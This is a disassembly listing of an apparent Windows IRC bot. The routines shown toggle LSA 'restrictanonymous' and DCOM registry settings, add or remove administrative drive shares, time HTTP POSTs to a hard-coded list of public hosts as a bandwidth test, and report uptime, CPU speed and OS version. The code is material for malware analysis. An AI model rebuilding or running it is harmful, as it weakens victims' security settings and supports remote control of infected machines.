loc_41CC14: ; CODE XREF: seg000:0041CBC3j
lea eax, [ebp-214h]
push offset dword_438D10
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41CC27: ; CODE XREF: seg000:0041CC12j
cmp [ebp+14h], edi
jnz short loc_41CC46
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-214h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CC46: ; CODE XREF: seg000:0041CC2Aj
lea eax, [ebp-214h]
push eax
call sub_417D70
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CCB4
push 4
lea eax, [ebp-8]
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push dword ptr [ebp-4]
mov dword ptr [ebp-8], 1
call ds:dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp-214h]
jz short loc_41CC9C
push offset dword_438CC0
jmp short loc_41CCA1
; ---------------------------------------------------------------------------
loc_41CC9C: ; CODE XREF: seg000:0041CC93j
push offset dword_438C8C
loc_41CCA1: ; CODE XREF: seg000:0041CC9Aj
push eax
call sub_41E6A6
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4441E8 ; RegCloseKey
jmp short loc_41CCCE
; ---------------------------------------------------------------------------
loc_41CCB4: ; CODE XREF: seg000:0041CC6Bj
push offset dword_438C50
jmp short loc_41CCC0
; ---------------------------------------------------------------------------
loc_41CCBB: ; CODE XREF: seg000:0041CBA0j
push offset dword_438C20
loc_41CCC0: ; CODE XREF: seg000:0041CCB9j
lea eax, [ebp-214h]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41CCCE: ; CODE XREF: seg000:0041CCB2j
cmp [ebp+14h], edi
jnz short loc_41CCED
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-214h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CCED: ; CODE XREF: seg000:0041CCD1j
lea eax, [ebp-214h]
push eax
call sub_417D70
cmp ds:dword_44429C, edi
pop ecx
jnz loc_41CE6A
mov [ebp-4], edi
mov [ebp-14h], edi
mov [ebp-0Ch], edi
push ebx
loc_41CD10: ; CODE XREF: seg000:0041CE4Ej
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-4]
push eax
push 0FFFFFFFFh
lea eax, [ebp-8]
push eax
push 1F6h
push edi
call ds:dword_44420C
cmp eax, edi
mov [ebp-10h], eax
jz short loc_41CDAF
cmp eax, 0EAh
jz short loc_41CDAF
xor esi, esi
loc_41CD3E: ; CODE XREF: seg000:0041CDA8j
push ds:off_4434C0[esi]
push edi
call sub_41B8EE
pop ecx
pop ecx
push ds:off_4434C0[esi]
test eax, eax
lea eax, [ebp-214h]
jnz short loc_41CD63
push offset dword_438BFC
jmp short loc_41CD68
; ---------------------------------------------------------------------------
loc_41CD63: ; CODE XREF: seg000:0041CD5Aj
push offset dword_438BD0
loc_41CD68: ; CODE XREF: seg000:0041CD61j
push 200h
push eax
call sub_41E6FE
add esp, 10h
cmp [ebp+14h], edi
jnz short loc_41CD95
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-214h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CD95: ; CODE XREF: seg000:0041CD79j
lea eax, [ebp-214h]
push eax
call sub_417D70
add esi, 8
cmp esi, 20h
pop ecx
jb short loc_41CD3E
jmp loc_41CE47
; ---------------------------------------------------------------------------
loc_41CDAF: ; CODE XREF: seg000:0041CD33j
; seg000:0041CD3Aj
mov esi, [ebp-8]
xor ebx, ebx
inc ebx
cmp [ebp-4], ebx
jb loc_41CE3E
loc_41CDBE: ; CODE XREF: seg000:0041CE3Aj
mov edi, [esi]
push edi
call sub_4206A3
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41CE33
push edi
call sub_41B802
push eax
push 0
call sub_41B8EE
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp-214h]
jnz short loc_41CDF3
push offset dword_438BAC
jmp short loc_41CDF8
; ---------------------------------------------------------------------------
loc_41CDF3: ; CODE XREF: seg000:0041CDEAj
push offset dword_438B80
loc_41CDF8: ; CODE XREF: seg000:0041CDF1j
push 200h
push eax
call sub_41E6FE
add esp, 10h
cmp dword ptr [ebp+14h], 0
jnz short loc_41CE26
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-214h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CE26: ; CODE XREF: seg000:0041CE0Aj
lea eax, [ebp-214h]
push eax
call sub_417D70
pop ecx
loc_41CE33: ; CODE XREF: seg000:0041CDCDj
add esi, 28h
inc ebx
cmp ebx, [ebp-4]
jbe short loc_41CDBE
xor edi, edi
loc_41CE3E: ; CODE XREF: seg000:0041CDB8j
push dword ptr [ebp-8]
call ds:dword_444140
loc_41CE47: ; CODE XREF: seg000:0041CDAAj
cmp dword ptr [ebp-10h], 0EAh
jz loc_41CD10
lea eax, [ebp-214h]
push offset dword_438B58
push eax
call sub_41E6A6
pop ecx
pop ecx
pop ebx
jmp short loc_41CE7D
; ---------------------------------------------------------------------------
loc_41CE6A: ; CODE XREF: seg000:0041CD00j
lea eax, [ebp-214h]
push offset dword_438B28
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41CE7D: ; CODE XREF: seg000:0041CE68j
cmp [ebp+14h], edi
jnz short loc_41CE9B
push edi
push dword ptr [ebp+10h]
lea eax, [ebp-214h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CE9B: ; CODE XREF: seg000:0041CE80j
lea eax, [ebp-214h]
push eax
call sub_417D70
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp ds:dword_444274, ebx
push esi
jnz loc_41CFD9
lea eax, [ebp-4]
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
mov esi, 80000002h
push esi
call ds:dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CF36
lea eax, [ebp-6]
push eax
mov word ptr [ebp-6], 59h
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push dword ptr [ebp-4]
call ds:dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp-220h]
jz short loc_41CF1E
push offset dword_438ED8
jmp short loc_41CF23
; ---------------------------------------------------------------------------
loc_41CF1E: ; CODE XREF: seg000:0041CF15j
push offset dword_438EBC
loc_41CF23: ; CODE XREF: seg000:0041CF1Cj
push eax
call sub_41E6A6
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4441E8 ; RegCloseKey
jmp short loc_41CF49
; ---------------------------------------------------------------------------
loc_41CF36: ; CODE XREF: seg000:0041CEE5j
lea eax, [ebp-220h]
push offset dword_438D10
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41CF49: ; CODE XREF: seg000:0041CF34j
cmp [ebp+14h], ebx
jnz short loc_41CF68
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-220h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41CF68: ; CODE XREF: seg000:0041CF4Cj
lea eax, [ebp-220h]
push eax
call sub_417D70
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CFD2
push 4
lea eax, [ebp-8]
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push dword ptr [ebp-4]
mov [ebp-8], ebx
call ds:dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp-220h]
jz short loc_41CFBA
push offset dword_438E7C
jmp short loc_41CFBF
; ---------------------------------------------------------------------------
loc_41CFBA: ; CODE XREF: seg000:0041CFB1j
push offset dword_438E44
loc_41CFBF: ; CODE XREF: seg000:0041CFB8j
push eax
call sub_41E6A6
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4441E8 ; RegCloseKey
jmp short loc_41CFEC
; ---------------------------------------------------------------------------
loc_41CFD2: ; CODE XREF: seg000:0041CF8Dj
push offset dword_438E08
jmp short loc_41CFDE
; ---------------------------------------------------------------------------
loc_41CFD9: ; CODE XREF: seg000:0041CEC2j
push offset dword_438C20
loc_41CFDE: ; CODE XREF: seg000:0041CFD7j
lea eax, [ebp-220h]
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41CFEC: ; CODE XREF: seg000:0041CFD0j
cmp [ebp+14h], ebx
jnz short loc_41D00B
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-220h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41D00B: ; CODE XREF: seg000:0041CFEFj
lea eax, [ebp-220h]
push eax
call sub_417D70
cmp ds:dword_44429C, ebx
pop ecx
jnz loc_41D17E
push edi
xor esi, esi
mov edi, 200h
loc_41D02C: ; CODE XREF: seg000:0041D099j
push ds:dword_4434C4[esi]
push ds:off_4434C0[esi]
push ebx
call sub_41B883
add esp, 0Ch
push ds:off_4434C0[esi]
test eax, eax
lea eax, [ebp-220h]
jnz short loc_41D058
push offset dword_438DE8
jmp short loc_41D05D
; ---------------------------------------------------------------------------
loc_41D058: ; CODE XREF: seg000:0041D04Fj
push offset dword_438DC0
loc_41D05D: ; CODE XREF: seg000:0041D056j
push edi
push eax
call sub_41E6FE
add esp, 10h
cmp [ebp+14h], ebx
jnz short loc_41D086
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-220h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41D086: ; CODE XREF: seg000:0041D06Aj
lea eax, [ebp-220h]
push eax
call sub_417D70
add esi, 8
cmp esi, 10h
pop ecx
jb short loc_41D02C
call ds:dword_42B130 ; GetLogicalDrives
test eax, eax
mov [ebp-4], eax
mov bl, 41h
jz loc_41D166
loc_41D0AE: ; CODE XREF: seg000:0041D160j
test byte ptr [ebp-4], 1
jz loc_41D15B
cmp bl, 41h
jz loc_41D15B
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp-14h]
push 0Ah
push eax
call sub_41E6FE
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp-20h]
push 0Ah
push eax
call sub_41E6FE
add esp, 20h
lea eax, [ebp-20h]
push eax
call ds:dword_44407C ; GetDriveTypeA
cmp eax, 3
jnz short loc_41D15B
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
push 0
call sub_41B883
add esp, 0Ch
test eax, eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-220h]
jnz short loc_41D11F
push offset dword_438DE8
jmp short loc_41D124
; ---------------------------------------------------------------------------
loc_41D11F: ; CODE XREF: seg000:0041D116j
push offset dword_438DC0
loc_41D124: ; CODE XREF: seg000:0041D11Dj
push edi
push eax
call sub_41E6FE
add esp, 10h
cmp dword ptr [ebp+14h], 0
jnz short loc_41D14E
push 1
push dword ptr [ebp+10h]
lea eax, [ebp-220h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41D14E: ; CODE XREF: seg000:0041D132j
lea eax, [ebp-220h]
push eax
call sub_417D70
pop ecx
loc_41D15B: ; CODE XREF: seg000:0041D0B2j
; seg000:0041D0BBj ...
inc bl
shr dword ptr [ebp-4], 1
jnz loc_41D0AE
loc_41D166: ; CODE XREF: seg000:0041D0A8j
lea eax, [ebp-220h]
push offset dword_438D90
push eax
call sub_41E6A6
pop ecx
pop ecx
xor ebx, ebx
pop edi
jmp short loc_41D191
; ---------------------------------------------------------------------------
loc_41D17E: ; CODE XREF: seg000:0041D01Ej
lea eax, [ebp-220h]
push offset dword_438B28
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_41D191: ; CODE XREF: seg000:0041D17Cj
cmp [ebp+14h], ebx
jnz short loc_41D1AF
push ebx
push dword ptr [ebp+10h]
lea eax, [ebp-220h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40123B
add esp, 14h
loc_41D1AF: ; CODE XREF: seg000:0041D194j
lea eax, [ebp-220h]
push eax
call sub_417D70
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aUnlMbS_0 db 'Ul$Œì˜',0 ; DATA XREF: sub_40274D+2BECo
dd 458B0000h, 6A57567Ch, 0F08B5926h, 0F3DC7D8Dh, 647D83A5h
dd 6C75FF00h, 9480C7h, 10000h, 75FF0000h, 0E0458D68h, 0DC75FF50h
dd 8EE80774h, 0EBFFFFF9h, 0FCA9E805h, 0C483FFFFh, 6075FF10h
dd 0FEDF38E8h, 6A59FFh, 0B06815FFh
db 42h, 0, 0CCh
; =============== S U B R O U T I N E =======================================
sub_41D21B proc near ; CODE XREF: sub_41D41B+CBp
; sub_41D41B+DDp ...
arg_0 = dword ptr 4
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_41ECDE
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41D21B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D235 proc near ; CODE XREF: sub_41D41B+D4p
; sub_41D41B+E6p ...
var_34 = dword ptr -34h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push esi
push [ebp+arg_0]
call sub_41E1C0
mov esi, 0FFh
cmp eax, esi
pop ecx
ja short loc_41D2A5
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41E5F0
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_4022BD
add esp, 10h
test eax, eax
mov [ebp+var_24], eax
jz short loc_41D2A5
push 50h
call ds:dword_444260 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call ds:dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_41D2A5
push 10h
lea ecx, [ebp+var_28]
push ecx
push eax
call ds:dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41D2AC
loc_41D2A5: ; CODE XREF: sub_41D235+17j
; sub_41D235+3Cj ...
xor eax, eax
jmp loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D2AC: ; CODE XREF: sub_41D235+6Ej
push ebx
push edi
push 32003h
call sub_41FEB2
mov edi, ds:dword_42B038
mov ebx, eax
pop ecx
mov [ebp+var_C], ebx
call edi ; GetTickCount
push eax
call sub_41ECD4
call sub_41ECDE
cdq
idiv esi
mov [esp+34h+var_34], 32001h
push 0
push ebx
movsx esi, dl
call sub_41E5F0
push 32000h
push esi
push ebx
call sub_41E5F0
push ebx
call sub_41E1C0
push 323EAh
mov ebx, eax
call sub_41FEB2
push ebx
push [ebp+arg_0]
mov esi, eax
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41E6A6
push [ebp+var_C]
push esi
call sub_41EED0
push offset asc_4348E8 ; "\r\n"
push esi
call sub_41EED0
add esp, 40h
push esi
call sub_41E1C0
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
call edi ; GetTickCount
mov [ebp+var_18], eax
xor eax, eax
test ebx, ebx
mov [ebp+var_8], eax
jbe short loc_41D387
mov [ebp+var_10], ebx
mov ebx, 400h
jmp short loc_41D353
; ---------------------------------------------------------------------------
loc_41D350: ; CODE XREF: sub_41D235+150j
mov eax, [ebp+var_8]
loc_41D353: ; CODE XREF: sub_41D235+119j
mov ecx, [ebp+var_14]
sub ecx, eax
add eax, esi
cmp ecx, ebx
push 0
jnb short loc_41D365
push [ebp+var_10]
jmp short loc_41D366
; ---------------------------------------------------------------------------
loc_41D365: ; CODE XREF: sub_41D235+129j
push ebx
loc_41D366: ; CODE XREF: sub_41D235+12Ej
push eax
push [ebp+var_4]
call ds:dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_41D3FE
add [ebp+var_8], ebx
mov eax, [ebp+var_8]
sub [ebp+var_10], ebx
cmp eax, [ebp+var_14]
jb short loc_41D350
loc_41D387: ; CODE XREF: sub_41D235+10Fj
call edi ; GetTickCount
sub eax, [ebp+var_18]
test eax, eax
mov [ebp+var_18], eax
fild [ebp+var_18]
jge short loc_41D39C
fadd ds:flt_438F0C
loc_41D39C: ; CODE XREF: sub_41D235+15Fj
fmul ds:flt_438F08
fstp [ebp+var_10]
fld ds:flt_438F04
fld [ebp+var_10]
fucompp
fnstsw ax
test ah, 44h
jp short loc_41D3BC
fld1
fstp [ebp+var_10]
loc_41D3BC: ; CODE XREF: sub_41D235+180j
push [ebp+var_4]
call ds:dword_444218 ; closesocket
push [ebp+var_C]
call sub_41E2A1
push esi
call sub_41E2A1
fild [ebp+var_14]
mov eax, [ebp+var_14]
test eax, eax
pop ecx
pop ecx
jge short loc_41D3E5
fadd ds:flt_438F0C
loc_41D3E5: ; CODE XREF: sub_41D235+1A8j
fdiv [ebp+var_10]
fmul ds:flt_438F00
fmul ds:flt_438EFC
call sub_41FE38
loc_41D3F9: ; CODE XREF: sub_41D235+1E4j
pop edi
pop ebx
loc_41D3FB: ; CODE XREF: sub_41D235+72j
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41D3FE: ; CODE XREF: sub_41D235+13Ej
push [ebp+var_4]
call ds:dword_444218 ; closesocket
push [ebp+var_C]
call sub_41E2A1
push esi
call sub_41E2A1
pop ecx
pop ecx
xor eax, eax
jmp short loc_41D3F9
sub_41D235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D41B proc near ; CODE XREF: sub_40274D+2C3Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41D21B
push [ebp+eax*4+var_3C]
call sub_41D235
push 8
mov esi, eax
call sub_41D21B
push [ebp+eax*4+var_3C]
call sub_41D235
add esp, 10h
test esi, esi
jz short loc_41D51C
test eax, eax
jz short loc_41D518
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41D51E
; ---------------------------------------------------------------------------
loc_41D518: ; CODE XREF: sub_41D41B+F4j
mov ebx, esi
jmp short loc_41D51E
; ---------------------------------------------------------------------------
loc_41D51C: ; CODE XREF: sub_41D41B+F0j
mov ebx, eax
loc_41D51E: ; CODE XREF: sub_41D41B+FBj
; sub_41D41B+FFj
push 0Ch
call sub_41D21B
push [ebp+eax*4+var_6C]
call sub_41D235
push 0Ch
mov edi, eax
call sub_41D21B
push [ebp+eax*4+var_6C]
call sub_41D235
add esp, 10h
test edi, edi
jz short loc_41D556
test eax, eax
jz short loc_41D552
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41D558
; ---------------------------------------------------------------------------
loc_41D552: ; CODE XREF: sub_41D41B+12Ej
mov esi, edi
jmp short loc_41D558
; ---------------------------------------------------------------------------
loc_41D556: ; CODE XREF: sub_41D41B+12Aj
mov esi, eax
loc_41D558: ; CODE XREF: sub_41D41B+135j
; sub_41D41B+139j
push 6
call sub_41D21B
push [ebp+eax*4+var_1C]
call sub_41D235
push 6
mov edi, eax
call sub_41D21B
push [ebp+eax*4+var_1C]
call sub_41D235
add esp, 10h
test edi, edi
jz short loc_41D590
test eax, eax
jz short loc_41D58C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41D592
; ---------------------------------------------------------------------------
loc_41D58C: ; CODE XREF: sub_41D41B+168j
mov ecx, edi
jmp short loc_41D592
; ---------------------------------------------------------------------------
loc_41D590: ; CODE XREF: sub_41D41B+164j
mov ecx, eax
loc_41D592: ; CODE XREF: sub_41D41B+16Fj
; sub_41D41B+173j
xor eax, eax
test ebx, ebx
jz short loc_41D59F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41D5A2
; ---------------------------------------------------------------------------
loc_41D59F: ; CODE XREF: sub_41D41B+17Bj
push 2
pop edi
loc_41D5A2: ; CODE XREF: sub_41D41B+182j
test esi, esi
jz short loc_41D5AA
add eax, esi
jmp short loc_41D5AB
; ---------------------------------------------------------------------------
loc_41D5AA: ; CODE XREF: sub_41D41B+189j
dec edi
loc_41D5AB: ; CODE XREF: sub_41D41B+18Dj
test ecx, ecx
jz short loc_41D5B3
add eax, ecx
jmp short loc_41D5B4
; ---------------------------------------------------------------------------
loc_41D5B3: ; CODE XREF: sub_41D41B+192j
dec edi
loc_41D5B4: ; CODE XREF: sub_41D41B+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_438F48
push eax
call sub_41E6A6
push 0
push [ebp+arg_8]
lea eax, [ebp+var_26C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_26C]
push eax
call sub_417D70
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41D41B endp
; =============== S U B R O U T I N E =======================================
sub_41D5F8 proc near ; CODE XREF: sub_40274D+23AAp
; sub_40274D+27E2p ...
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_42B038 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
mov esi, offset dword_4E27B8
push esi
call sub_41E6FE
add esp, 18h
pop edi
mov eax, esi
pop esi
retn
sub_41D5F8 endp
; ---------------------------------------------------------------------------
aUnlIbF db 'Ul$ˆì”',0
dd 8D560000h, 3350E445h, 0E445C7F6h, 94h, 0B06415FFh, 0C0850042h
dd 7D834D74h, 297504E8h, 75EC7539h, 0F47D8312h, 46017501h
dd 2F47D83h, 0F6333575h, 8330EB46h, 750AEC7Dh, 0EB026A04h
dd 0EC7D8325h, 0EB20755Ah, 0E87D8311h, 39187505h, 0E974EC75h
dd 1EC7D83h, 36A0475h, 7D8308EBh, 37502ECh, 8B5E076Ah
dd 0C5835EC6h
db 78h, 0C9h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41D6C3 proc near ; CODE XREF: sub_41D779+245p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41D6CB: ; CODE XREF: sub_41D6C3+2Fj
; sub_41D6C3+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call ds:dword_42B014 ; Sleep
rdtsc
push 0
sub eax, esi
push edi
sbb edx, ebx
push edx
push eax
call sub_420C80
mov esi, edx
test esi, esi
mov ebx, eax
ja short loc_41D6CB
jb short loc_41D6FA
cmp ebx, edi
ja short loc_41D6CB
loc_41D6FA: ; CODE XREF: sub_41D6C3+31j
push 0
push 64h
push esi
push ebx
call sub_420C00
mov ecx, edx
push 64h
xor edx, edx
test ecx, ecx
mov edi, eax
pop eax
ja short loc_41D76D
jb short loc_41D719
cmp edi, 50h
jnb short loc_41D71E
loc_41D719: ; CODE XREF: sub_41D6C3+4Fj
push 4Bh
pop eax
xor edx, edx
loc_41D71E: ; CODE XREF: sub_41D6C3+54j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D729
cmp edi, 47h
jnb short loc_41D72E
loc_41D729: ; CODE XREF: sub_41D6C3+5Fj
push 42h
pop eax
xor edx, edx
loc_41D72E: ; CODE XREF: sub_41D6C3+64j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D739
cmp edi, 37h
jnb short loc_41D73E
loc_41D739: ; CODE XREF: sub_41D6C3+6Fj
push 32h
pop eax
xor edx, edx
loc_41D73E: ; CODE XREF: sub_41D6C3+74j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D749
cmp edi, 26h
jnb short loc_41D74E
loc_41D749: ; CODE XREF: sub_41D6C3+7Fj
push 21h
pop eax
xor edx, edx
loc_41D74E: ; CODE XREF: sub_41D6C3+84j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D759
cmp edi, 1Eh
jnb short loc_41D75E
loc_41D759: ; CODE XREF: sub_41D6C3+8Fj
push 19h
pop eax
xor edx, edx
loc_41D75E: ; CODE XREF: sub_41D6C3+94j
test ecx, ecx
ja short loc_41D76D
jb short loc_41D769
cmp edi, 0Ah
jnb short loc_41D76D
loc_41D769: ; CODE XREF: sub_41D6C3+9Fj
xor eax, eax
xor edx, edx
loc_41D76D: ; CODE XREF: sub_41D6C3+4Dj
; sub_41D6C3+5Dj ...
sub eax, edi
sbb edx, ecx
add eax, ebx
pop edi
adc edx, esi
pop esi
pop ebx
retn
sub_41D6C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_41D779 proc near ; CODE XREF: sub_40274D+2565p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 7E8h
push ebx
push esi
push edi
lea eax, [ebp+70h+var_CC]
push eax
mov [ebp+70h+var_4], offset byte_42B633
mov [ebp+70h+var_CC], 94h
call ds:dword_42B064 ; GetVersionExA
xor ebx, ebx
cmp [ebp+70h+var_C8], 4
jnz short loc_41D7EA
cmp [ebp+70h+var_C4], ebx
jnz short loc_41D7CC
cmp [ebp+70h+var_BC], 1
jnz short loc_41D7B9
mov [ebp+70h+var_4], offset a95 ; "95"
loc_41D7B9: ; CODE XREF: sub_41D779+37j
cmp [ebp+70h+var_BC], 2
jnz loc_41D850
